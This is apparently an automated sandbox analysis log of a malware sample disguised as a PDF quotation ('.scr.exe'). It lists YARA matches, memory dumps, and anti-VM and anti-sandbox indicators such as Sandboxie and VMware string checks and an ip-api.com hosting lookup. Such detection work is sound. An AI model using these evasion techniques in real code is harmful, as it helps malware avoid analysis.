Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.44f9dd0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.70f0000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4781400.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4599df0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRQTRA031244#U00faPDF.scr.exe.4651c30.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2242734994.00000000070F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.00000000044F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000004599000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2226154366.0000000004651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356, type: MEMORYSTR

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_05C006E0 push eax; ret	0_2_05C006ED
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_0720A580 push eax; retf	0_2_0720A581
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_0720232B push FFFFFF8Bh; iretd	0_2_0720232F
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07202200 push FFFFFF8Bh; iretd	0_2_07202207
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_072021B4 push FFFFFF8Bh; ret	0_2_072021B6
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Code function: 0_2_07483F16 push 5D9001E8h; ret	0_2_07483F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_01630CA1 push edi; retf	4_2_01630CAA

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: QUOTATION_APRQTRA031244#U00faPDF.scr.exe PID: 5356, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2226154366.0000000003C24000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2892713170.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.000000000304D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL@\^Q
Source: QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002BB6000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRQTRA031244#U00faPDF.scr.exe, 00000000.00000002.2222485023.0000000002E2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORER9SBIEDLL.DLL:SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE;VERSION<SERIALNUMBER>VMWARE\|VIRTUAL\|A M I\|XEN?SELECT * FROM WIN32_COMPUTERSYSTEM@MANUFACTURERAMODELBMICROSOFT\|VMWARE\|VIRTUALCJOHNDANNAEXXXXXXXX

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 4AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 60F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 70F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 7E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Memory allocated: 8E10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 15F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 3040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 1660000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599649	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599326	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597577	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597244	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596915	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595487	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594780	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRQTRA031244#U00faPDF.scr.exe	Thread delayed: delay time: 594663	Jump to behavior
